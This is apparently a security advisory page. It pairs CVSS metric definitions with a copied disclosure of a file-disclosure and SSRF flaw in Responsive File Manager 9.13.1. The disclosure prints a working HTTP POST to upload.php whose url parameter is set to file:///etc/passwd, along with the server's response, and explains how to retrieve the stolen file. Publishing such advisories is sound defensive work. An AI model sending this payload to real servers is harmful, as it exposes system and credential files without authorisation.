The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Below is a copy: Responsive File Manager 9.13.1 File Disclosure
Responsive Filemanager v 9.13.1 [1]
Author: Silton Santos
=====[ Table of Contents ]===================================
* Overview
* Detailed description
* Timeline of disclosure
* Thanks & Acknowledgements
* References
=====[ Overview ]===================================
* System affected : Responsive Filemanager
* Software Version : 9.13.1 (other versions may also be affected).
* Impact : Get sensitive files from the server.
=====[ Detailed description ]===================================
1. Submit an upload request via the "FROM URL" and intercept with any proxy;
2. Change the parameter "url" to file:///{server_files}, in this example,
the parameter "url" was changed to file:///etc/passwd;
POST /filemanager/upload.php HTTP/1.1
Host: www.[...]
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 27
Cookie: last_position=testess%2F; PHPSESSID=nl9pl5vthknvec92bji990krj0
Connection: close
fldr=testess%2F&url=file:///etc/passwd
3.Wait for the answer, if everything is ok, you'll get a response similar
to this:
{"files":[{"name":"passwd.txt","size":1612,"type":null,"path":"\/usr\/share\/tinymce\/www\/filemanager\/..\/source\/testess\/passwd.txt","url":"http:\/\/[...]\/source\/testess\/passwd.txt","deleteUrl":"http:\/\/[...]\/filemanager\/upload.php?file=passwd.txt","deleteType":"DELETE"}]}
4. Done, access the folder inserted in the "fldr" parameter and you can be
able to download the file from folder.
P.S:If the answer is similar to the following, possibly the user of the
service web, does not have permission on the file. If the size is equal to
0, the file may not exist.
{"files":[{"name":"passwd","size":1573,"type":null,"error":"Filetype not
allowed"}]}
=====[ Aggravating factors ]===================================
This functionality uses the input of the parameter "url" at the function
curl_exec. This function can be used by other protocols, like
smb,ftp,scp,telnet and others, impacting on a SSRF.
=====[ Timeline of disclosure ]===================================
07/17/2018 - Vulnerability reported to developer in two emails. (did not
answer)
=====[ References
]===========================================================
[1] http://www.responsivefilemanager.com/
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